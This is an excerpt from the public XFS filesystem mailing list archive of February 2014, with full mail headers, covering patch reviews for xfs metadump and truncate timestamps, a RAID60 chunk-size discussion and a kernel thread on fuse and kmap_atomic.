MDExMjIgMDAwMDAgbg0KMDAwMDEwMTI4MSAwMDAwMCBuDQowMDAwMTAyMjUyIDAwMDAwIG4NCjAw MDAxMDI0MTEgMDAwMDAgbg0KMDAwMDEwMzM4MiAwMDAwMCBuDQowMDAwMTAzNTQxIDAwMDAwIG4N CjAwMDAxMDQ1MTIgMDAwMDAgbg0KMDAwMDEwNDY3MSAwMDAwMCBuDQowMDAwMTA1NjQyIDAwMDAw IG4NCjAwMDAxMDU4MDEgMDAwMDAgbg0KMDAwMDEwNjc3MiAwMDAwMCBuDQowMDAwMTA2OTMxIDAw MDAwIG4NCjAwMDAxMDc5MDIgMDAwMDAgbg0KMDAwMDEwODA2MSAwMDAwMCBuDQowMDAwMTExNjEy IDAwMDAwIG4NCjAwMDAxMTc2MTMgMDAwMDAgbg0KMDAwMDEyMjc3NiAwMDAwMCBuDQowMDAwMTI2 MTQzIDAwMDAwIG4NCjAwMDAxMzcwOTEgMDAwMDAgbg0KMDAwMDE1OTkyNyAwMDAwMCBuDQowMDAw MTYwMDczIDAwMDAwIG4NCjAwMDAxNjA2ODYgMDAwMDAgbg0KMDAwMDE2MDkyNyAwMDAwMCBuDQow MDAwMTYxMDkyIDAwMDAwIG4NCjAwMDAxODI5MTIgMDAwMDAgbg0KMDAwMDE4MjkzOSAwMDAwMCBu DQowMDAwMjc3Mjk2IDAwMDAwIG4NCjAwMDAyNzc0NzcgMDAwMDAgbg0KMDAwMDM4ODU4NCAwMDAw MCBuDQowMDAwMzg4NjExIDAwMDAwIG4NCjAwMDA0ODQwMDMgMDAwMDAgbg0KMDAwMDQ4NDAzMCAw MDAwMCBuDQowMDAwNDg0NDI2IDAwMDAwIG4NCjAwMDA1NDIxNDkgMDAwMDAgbg0KMDAwMDU0MjM0 MCAwMDAwMCBuDQp0cmFpbGVyDQo8PC9TaXplIDkyL1Jvb3QgMSAwIFIvSW5mbyA3NiAwIFIvSURb PEUwNjdGRDdBRjBDNjkwNDBBMEMyN0E5Njg5QUZGMDkzPjxFMDY3RkQ3QUYwQzY5MDQwQTBDMjdB OTY4OUFGRjA5Mz5dID4+DQpzdGFydHhyZWYNCjU0Mjg1MQ0KJSVFT0YNCnhyZWYNCjAgMA0KdHJh aWxlcg0KPDwvU2l6ZSA5Mi9Sb290IDEgMCBSL0luZm8gNzYgMCBSL0lEWzxFMDY3RkQ3QUYwQzY5 MDQwQTBDMjdBOTY4OUFGRjA5Mz48RTA2N0ZEN0FGMEM2OTA0MEEwQzI3QTk2ODlBRkYwOTM+XSAv UHJldiA1NDI4NTEvWFJlZlN0bSA1NDIzNDA+Pg0Kc3RhcnR4cmVmDQo1NDQ4NDkNCiUlRU9G ------=_20140202094823_58579-- From BATV+b3ec97a09ac6755656bb+3816+infradead.org+hch@bombadil.srs.infradead.org Mon Feb 3 04:23:32 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id B5CE47FDA for ; Mon, 3 Feb 2014 04:23:32 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 6C073AC00A for ; Mon, 3 Feb 2014 02:23:29 -0800 (PST) X-ASG-Debug-ID: 1391423004-04bdf0121dc2360001-NocioJ Received: from bombadil.infradead.org ([198.137.202.9]) by cuda.sgi.com with ESMTP id oEfxJTpGDobABfd8 (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO); Mon, 03 Feb 2014 02:23:24 -0800 (PST) X-Barracuda-Envelope-From: BATV+b3ec97a09ac6755656bb+3816+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1WAGgV-0004T0-Jh; Mon, 03 Feb 2014 10:23:23 +0000 Date: Mon, 3 Feb 2014 02:23:23 -0800 From: Christoph Hellwig To: Ben Myers Cc: Christoph Hellwig , xfs@oss.sgi.com Subject: Re: [PATCH] xfs: ensure correct timestamp updates from truncate Message-ID: <20140203102323.GC11829@infradead.org> X-ASG-Orig-Subj: Re: [PATCH] xfs: ensure correct timestamp updates from truncate References: <20140110122700.GA12624@localhost> <52CFF402.5080409@oracle.com> <20140110133306.GA22918@infradead.org> <52CFFD1C.7050005@oracle.com> <20140111111045.GA29380@infradead.org> <52E8FE81.7040402@redhat.com> <20140130080652.GA23758@infradead.org> <20140130154701.GP1935@sgi.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20140130154701.GP1935@sgi.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: UNKNOWN[198.137.202.9] X-Barracuda-Start-Time: 1391423004 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.10 X-Barracuda-Spam-Status: No, SCORE=0.10 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=RDNS_NONE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144781 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.10 RDNS_NONE Delivered to trusted network by a host with no rDNS On Thu, Jan 30, 2014 at 09:47:01AM -0600, Ben Myers wrote: > That is v3.13-rc2-14-gc91c46c, so I believe we'll want to Cc: stable on this > one. Correct? Seems so. From stan@hardwarefreak.com Mon Feb 3 04:50:55 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id C6E907FC7 for ; Mon, 3 Feb 2014 04:50:55 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 6908CAC008 for ; Mon, 3 Feb 2014 02:50:55 -0800 (PST) X-ASG-Debug-ID: 1391424654-04bdf0121dc3580001-NocioJ Received: from greer.hardwarefreak.com (mo-65-41-216-221.sta.embarqhsd.net [65.41.216.221]) by cuda.sgi.com with ESMTP id aXivEGiDeuDd5xlr for ; Mon, 03 Feb 2014 02:50:54 -0800 (PST) X-Barracuda-Envelope-From: stan@hardwarefreak.com X-Barracuda-Apparent-Source-IP: 65.41.216.221 X-Barracuda-User-Whitelist: xfs@oss.sgi.com Received: from [192.168.100.53] (gffx.hardwarefreak.com [192.168.100.53]) by greer.hardwarefreak.com (Postfix) with ESMTP id CF6EA6C0B9; Mon, 3 Feb 2014 04:50:53 -0600 (CST) Message-ID: <52EF748E.3010700@hardwarefreak.com> Date: Mon, 03 Feb 2014 04:50:54 -0600 From: Stan Hoeppner Reply-To: stan@hardwarefreak.com User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:24.0) Gecko/20100101 Thunderbird/24.2.0 MIME-Version: 1.0 To: Chris Murphy CC: xfs Subject: Re: relationship of nested stripe sizes, was: Question regarding XFS on LVM over hardware RAID. References: <7A732267-B34F-4286-9B49-3AF8767C0B89@colorremedies.com> <52ED4143.6090303@hardwarefreak.com> <52ED6AAF.6030703@hardwarefreak.com> <98961D3F-769D-44A9-98A8-FC7867893138@colorremedies.com> X-ASG-Orig-Subj: Re: relationship of nested stripe sizes, was: Question regarding XFS on LVM over hardware RAID. In-Reply-To: <98961D3F-769D-44A9-98A8-FC7867893138@colorremedies.com> Content-Type: text/plain; charset=windows-1252 Content-Transfer-Encoding: 8bit X-Barracuda-Connect: mo-65-41-216-221.sta.embarqhsd.net[65.41.216.221] X-Barracuda-Start-Time: 1391424654 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On 2/2/2014 12:09 PM, Chris Murphy wrote: > > On Feb 1, 2014, at 2:44 PM, Stan Hoeppner > wrote: > >> On 2/1/2014 2:55 PM, Chris Murphy wrote: >>> >>> On Feb 1, 2014, at 11:47 AM, Stan Hoeppner >>> wrote: >>> >>>> On 1/31/2014 12:35 AM, Chris Murphy wrote: >>>>> Hopefully this is an acceptable way to avoid thread jacking, >>>>> by renaming the subject… >>>>> >>>>> On Jan 30, 2014, at 10:58 PM, Stan Hoeppner >>>>> wrote: >>>>>> >>>>>> RAID60 is a nested RAID level just like RAID10 and RAID50. >>>>>> It is a stripe, or RAID0, across multiple primary array >>>>>> types, RAID6 in this case. The stripe width of each >>>>>> 'inner' RAID6 becomes the stripe unit of the 'outer' RAID0 >>>>>> array: >>>>>> >>>>>> RAID6 geometry 128KB * 12 = 1536KB RAID0 geometry 1536KB >>>>>> * 3 = 4608KB >>>>> >>>>> My question is on this particular point. If this were >>>>> hardware raid6, but I wanted to then stripe using md raid0, >>>>> using the numbers above would I choose a raid0 chunk size of >>>>> 1536KB? How critical is this value for, e.g. only large >>>>> streaming read/write workloads? If it were smaller, say 256KB >>>>> or even 32KB, would there be a significant performance >>>>> consequence? >>>> >>>> You say 'if it were smaller...256/32KB'. What is "it" >>>> referencing? >>> >>> it = chunk size for md raid0. >>> >>> So chunk size 128KB * 12 disks, hardware raid6. Chunk size 32KB >>> [1] striping the raid6's with md raid0. >> >> Frankly, I don't know whether you're pulling my chain, or really >> don't understand the concept of nested striping. I'll assume the >> latter. > > The former would be inappropriate, and the latter is more plausible > anyway, so this is the better assumption. > > >> When nesting stripes, the chunk size of the outer stripe is >> -always- equal to the stripe width of each inner striped array, as >> I clearly demonstrated earlier: > > Except when it's hardware raid6, and software raid0, and the user > doesn't know they need to specify the chunk size in this manner. And > instead they use the mdadm default. What you're saying makes complete > sense, but I don't think this is widespread knowledge or well > documented anywhere that regular end users would know this by and > large. This is not widespread knowledge and is not well documented. And by definition "regular end users" are not creating RAID60 arrays. In the not too distant future there will be a little more information available about proper geometry setup for RAID60. >> 3 RAID6 arrays >> RAID6 geometry 128KB * 12 = 1536KB >> RAID60 geometry 1536KB * 3 = 4608KB >> >> mdadm allows you enough rope to hang yourself in this situation >> because it doesn't know the geometry of the underlying hardware >> arrays, and has no code to do sanity checking even if it did. Thus >> it can't save you from yourself. > > That's right, and this is the exact scenario I'm suggesting. > Depending on version, mdadm has two possible default chunk sizes, > either 64KB or 512KB. > > How bad is the resulting performance hit? Would a 64KB chunk be > equally bad as a 512KB chunk? Or is this only quantifiable with > testing (i.e. it could be a negligible performance hit, or it could > be huge)? ... >> RAID HBA and SAN controller firmware simply won't allow this. >> They configure the RAID60 chunk size automatically equal to the >> RAID6 stripe width. If some vendor's firmware allows one to >> manually enter the RAID60 chunk size with a value different from >> the RAID6 stripe width, stay away from that vendor. > > I understand that, but the scenario and question I'm posing is for > multiple hardware raid6's striped with md raid0. The use case are > enclosures with raid6 but not raid60, so the enclosures are striped > using software raid. I'm trying to understand the consequence > magnitude when choosing an md raid0 chunk size other than the correct > one. Is this a 5% performance hit, or a 30% performance hit? You must answer other questions before you can answer those above, as this is entirely workload dependent, as everything always is. It also depends on whether or how you aligned XFS. The wrong outer stripe chunk size may badly hurt performance, or it may not affect it much at all. Depends on what/how you're writing, and the demands of the workload. -- Stan From BATV+b3ec97a09ac6755656bb+3816+infradead.org+hch@bombadil.srs.infradead.org Mon Feb 3 05:08:58 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id C42AE7F67 for ; Mon, 3 Feb 2014 05:08:58 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 6B037AC008 for ; Mon, 3 Feb 2014 03:08:55 -0800 (PST) X-ASG-Debug-ID: 1391425734-04bdf01220c3fe0001-NocioJ Received: from bombadil.infradead.org ([198.137.202.9]) by cuda.sgi.com with ESMTP id GoYAWfWUXQ2qqTm7 (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Mon, 03 Feb 2014 03:08:54 -0800 (PST) X-Barracuda-Envelope-From: BATV+b3ec97a09ac6755656bb+3816+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1WAHOY-0007SW-8v; Mon, 03 Feb 2014 11:08:54 +0000 Date: Mon, 3 Feb 2014 03:08:54 -0800 From: Christoph Hellwig To: Dave Chinner Cc: xfs@oss.sgi.com Subject: Re: [PATCH 1/5] metadump: sanitise write_buf/index return values Message-ID: <20140203110854.GA28548@infradead.org> X-ASG-Orig-Subj: Re: [PATCH 1/5] metadump: sanitise write_buf/index return values References: <1390472635-17225-1-git-send-email-david@fromorbit.com> <1390472635-17225-2-git-send-email-david@fromorbit.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1390472635-17225-2-git-send-email-david@fromorbit.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: UNKNOWN[198.137.202.9] X-Barracuda-Start-Time: 1391425734 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-Spam-Score: 0.10 X-Barracuda-Spam-Status: No, SCORE=0.10 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=RDNS_NONE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144782 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.10 RDNS_NONE Delivered to trusted network by a host with no rDNS Looks good, Reviewed-by: Christoph Hellwig From miklos@szeredi.hu Mon Feb 3 08:41:09 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id CD3CA7FC7 for ; Mon, 3 Feb 2014 08:41:08 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 63E8BAC001 for ; Mon, 3 Feb 2014 06:41:05 -0800 (PST) X-ASG-Debug-ID: 1391438461-04cb6c6de0bc570001-NocioJ Received: from mail-ea0-f174.google.com (mail-ea0-f174.google.com [209.85.215.174]) by cuda.sgi.com with ESMTP id 9aN6tg9igzjy0faL (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Mon, 03 Feb 2014 06:41:02 -0800 (PST) X-Barracuda-Envelope-From: miklos@szeredi.hu X-Barracuda-Apparent-Source-IP: 209.85.215.174 Received: by mail-ea0-f174.google.com with SMTP id b10so3711176eae.5 for ; Mon, 03 Feb 2014 06:41:00 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=szeredi.hu; s=google; h=date:from:to:cc:subject:message-id:references:mime-version :content-type:content-disposition:in-reply-to:user-agent; bh=YKpC5LPTDpHIPkbSFiMBg8VwA9xbd+IkoVH9D/3BmSQ=; b=G380geLK7R2OVy0rrTzFZ0F4u0mE8uf+7X73pwn/LBdk4mC8m/OibkDU6uW5aHNc2G 6yDPcdWs3ingQe4a3FNoz/CbXyqe/jD9mzOzothbES52+yyXAl4mNK3vJCgNDLDKfn+t Q0ZGjKOJszpq36phX1V4AcT8Xlmxd0mfyXbTQ= X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20130820; h=x-gm-message-state:date:from:to:cc:subject:message-id:references :mime-version:content-type:content-disposition:in-reply-to :user-agent; bh=YKpC5LPTDpHIPkbSFiMBg8VwA9xbd+IkoVH9D/3BmSQ=; b=EzL64jqaBC5V6p0CvrcCNC7vMqZnT3rnDN/h2i5WjL2LEykSFBt19zM3bTavk6l7r9 IGHHM0cxuVgdxkkmWNvWmjNeFEG30XgMipRO9j4oF9S7lF2BzkrGdkW+aRkcPaze/Js4 4RnQPSQSVaKXVoH0IpbudBmgbySmH+KAQBZb/Qva/c+kRA5ax9RfG3/NfA0AXs3NWJHv qpavJO/0mu25jXToWN4A5HazmkAZAEC3GyYLowZ4pLmfLddr/UAXM90y4C5j/jeaznkA IrwumiuyYiyqAGf2eBSjyjC/rVQwoDox8IVmT8/T2rxZnrRxD3LPKSb1Ox8lC0iuTUgP OqlQ== X-Gm-Message-State: ALoCoQlNtoKnJXIHkE+vbn/MqOk5EFW//WtbzyO97P6kAOjaSX9GlMggQ2Knwf9gUqduGWluH2oR X-Received: by 10.15.109.196 with SMTP id cf44mr43550472eeb.12.1391438460639; Mon, 03 Feb 2014 06:41:00 -0800 (PST) Received: from tucsk.piliscsaba.szeredi.hu (563BF5AA.catv.pool.telekom.hu. [86.59.245.170]) by mx.google.com with ESMTPSA id x2sm75668368eeo.8.2014.02.03.06.40.53 for (version=TLSv1 cipher=ECDHE-RSA-RC4-SHA bits=128/128); Mon, 03 Feb 2014 06:40:59 -0800 (PST) Date: Mon, 3 Feb 2014 15:41:55 +0100 From: Miklos Szeredi To: Al Viro Cc: Linus Torvalds , Christoph Hellwig , Jens Axboe , Mark Fasheh , Joel Becker , linux-fsdevel , xfs@oss.sgi.com, Sage Weil , Steve French , Dave Kleikamp , Anton Altaparmakov Subject: Re: [RFC] unifying write variants for filesystems Message-ID: <20140203144155.GO24171@tucsk.piliscsaba.szeredi.hu> X-ASG-Orig-Subj: Re: [RFC] unifying write variants for filesystems References: <20140118064040.GE10323@ZenIV.linux.org.uk> <20140118074649.GF10323@ZenIV.linux.org.uk> <20140118201031.GI10323@ZenIV.linux.org.uk> <20140119051335.GN10323@ZenIV.linux.org.uk> <20140120135514.GA21567@infradead.org> <20140201224301.GS10323@ZenIV.linux.org.uk> <20140202192104.GA21959@ZenIV.linux.org.uk> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20140202192104.GA21959@ZenIV.linux.org.uk> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: mail-ea0-f174.google.com[209.85.215.174] X-Barracuda-Start-Time: 1391438462 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144786 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature On Sun, Feb 02, 2014 at 07:21:04PM +0000, Al Viro wrote: > On Sat, Feb 01, 2014 at 10:43:01PM +0000, Al Viro wrote: > > > * pipe_buffer_operations ->map()/->unmap() should die; let the caller do > > k{,un}map{,_atomic}(). All instances have the same method there and > > there's no point to make it different. PIPE_BUF_FLAG_ATOMIC should also > > go. > > BTW, another pile of code interesting in that respect (i.e. getting that > interface right) is fs/fuse/dev.c; I don't like the way it's playing > with get_user_pages_fast() there, It's trying to work around a deadlock by lock_page() recursion. I.e. fuse daemon is reading a request into a page for which the readpage is being serviced by said request (no, that's not something that happens accidentally). Do all archs set FAULT_FLAG_KILLABLE? If so, that flag along with code depending on the lack of it can go away and we can simply depend on page faults being interruptible by fatal signals. And that would simplify the fuse device I/O substantially. > and I doubt that sharing the code for > read and write side as it's done there makes much sense, but it's > definitely going to be a test for any API of that kind. It *does* > try to unify write-from-iovec with write-from-array-of-pages and > similar for reads; the interesting issue is that unlike the usual > write-to-pagecache we can have many chunks picked from one page and > we'd rather avoid doing kmap_atomic/kunmap_atomic for each of those. > > I suspect that the right answer is, in addition to a primitive that > does copying from iov_iter to have "copy from iov_iter and be ready > to copy more from soon after" + "done copying"; for the "array of > pages" the former would be allowed to leave the current page mapped, > skipping kmap_atomic() on the next call. And the latter would unmap. > of course. The caller is responsible for not blocking or doing > unbalanced map/unmap until it's said "done copying". > > BTW, is there any reason why fuse/dev.c doesn't use atomic kmaps for > everything? After all, as soon as we'd done kmap() in there, we > grab a spinlock and don't drop it until just before kunmap(). With > nothing by memcpy() done in between... Miklos? AFAICS, we only win > from switching to kmap_atomic there - we can't block anyway, we don't > need it to be visible on other CPUs and nesting isn't a problem. > Looks like it'll be cheaper in highmem cases and do exactly the same > thing as now for non-highmem... Comments? We don't hold the spinlock. But regardless, I don't see any reason why it couldn't be atomic kmap. Thanks, Miklos From BATV+b3ec97a09ac6755656bb+3816+infradead.org+hch@bombadil.srs.infradead.org Mon Feb 3 09:06:20 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 842A17F61 for ; Mon, 3 Feb 2014 09:06:20 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 2D21BAC001 for ; Mon, 3 Feb 2014 07:06:17 -0800 (PST) X-ASG-Debug-ID: 1391439975-04bdf0121dcc350001-NocioJ Received: from bombadil.infradead.org ([198.137.202.9]) by cuda.sgi.com with ESMTP id lZLMLvjEOrgd92Cl (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Mon, 03 Feb 2014 07:06:15 -0800 (PST) X-Barracuda-Envelope-From: BATV+b3ec97a09ac6755656bb+3816+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1WAL6F-0001eo-Ip; Mon, 03 Feb 2014 15:06:15 +0000 Date: Mon, 3 Feb 2014 07:06:15 -0800 From: Christoph Hellwig To: Dave Chinner Cc: xfs@oss.sgi.com Subject: Re: [PATCH 2/5] metadump: support writing discontiguous io cursors Message-ID: <20140203150615.GA6335@infradead.org> X-ASG-Orig-Subj: Re: [PATCH 2/5] metadump: support writing discontiguous io cursors References: <1390472635-17225-1-git-send-email-david@fromorbit.com> <1390472635-17225-3-git-send-email-david@fromorbit.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1390472635-17225-3-git-send-email-david@fromorbit.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: UNKNOWN[198.137.202.9] X-Barracuda-Start-Time: 1391439975 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.10 X-Barracuda-Spam-Status: No, SCORE=0.10 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=RDNS_NONE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144787 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.10 RDNS_NONE Delivered to trusted network by a host with no rDNS On Thu, Jan 23, 2014 at 09:23:52PM +1100, Dave Chinner wrote: > From: Dave Chinner > > To handle discontiguous buffers, metadump needs to be able to handle > io cursrors that use discontiguous buffer mappings. Factor > write_buf() to extract the data copy routine and use that to > implement support for both flat and discontiguous buffer maps. > > Signed-off-by: Dave Chinner Looks good, Reviewed-by: Christoph Hellwig From BATV+b3ec97a09ac6755656bb+3816+infradead.org+hch@bombadil.srs.infradead.org Mon Feb 3 09:09:11 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 58D147F6A for ; Mon, 3 Feb 2014 09:09:11 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 41B198F8035 for ; Mon, 3 Feb 2014 07:09:08 -0800 (PST) X-ASG-Debug-ID: 1391440147-04bdf0121ecc4f0001-NocioJ Received: from bombadil.infradead.org ([198.137.202.9]) by cuda.sgi.com with ESMTP id GUCSb7e58ivuuvNp (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Mon, 03 Feb 2014 07:09:07 -0800 (PST) X-Barracuda-Envelope-From: BATV+b3ec97a09ac6755656bb+3816+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1WAL91-0001m9-2s; Mon, 03 Feb 2014 15:09:07 +0000 Date: Mon, 3 Feb 2014 07:09:07 -0800 From: Christoph Hellwig To: Dave Chinner Cc: xfs@oss.sgi.com Subject: Re: [PATCH 3/5] metadump: separate single block objects from multiblock objects Message-ID: <20140203150907.GB6335@infradead.org> X-ASG-Orig-Subj: Re: [PATCH 3/5] metadump: separate single block objects from multiblock objects References: <1390472635-17225-1-git-send-email-david@fromorbit.com> <1390472635-17225-4-git-send-email-david@fromorbit.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1390472635-17225-4-git-send-email-david@fromorbit.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: UNKNOWN[198.137.202.9] X-Barracuda-Start-Time: 1391440147 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.10 X-Barracuda-Spam-Status: No, SCORE=0.10 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=RDNS_NONE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144787 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.10 RDNS_NONE Delivered to trusted network by a host with no rDNS On Thu, Jan 23, 2014 at 09:23:53PM +1100, Dave Chinner wrote: > From: Dave Chinner > > When trying to dump objects, we have to treat multi-block objects > differently to single block objects. Separate out the code paths for > single block vs multi-block objects so we can add a separate path > for multi-block objects. Looks good, but two minor style nitpicks below. Reviewed-by: Christoph Hellwig > static int > +process_multi_fsb_objects( > + xfs_dfiloff_t o, > + xfs_dfsbno_t s, > + xfs_dfilblks_t c, > + typnm_t btype, > + xfs_dfiloff_t last) > +{ > + if (btype != TYP_DIR2) { > + print_warning("bad type for multi-fsb object %d", btype); > + return -EINVAL; > + } > + > + return process_single_fsb_objects(o, s, c, btype, last); I'd prefer a switch with a default statement for the unknown type here, as that leads to nicer extensibility. > + /* single filesystem block objects are trivial to handle */ > + if (btype != TYP_DIR2 || mp->m_dirblkfsbs == 1) { > + error = process_single_fsb_objects(o, s, c, btype, last); > + if (error) > return 0; > + continue; > } > + > + /* multi-extent directory blocks */ > + error = process_multi_fsb_objects(o, s, c, btype, last); > + if (error) > + return 0; An if / else would look a little more obvious here, not that it really matters all that much. From BATV+b3ec97a09ac6755656bb+3816+infradead.org+hch@bombadil.srs.infradead.org Mon Feb 3 09:12:50 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 4F04C7FE9 for ; Mon, 3 Feb 2014 09:12:50 -0600 (CST) 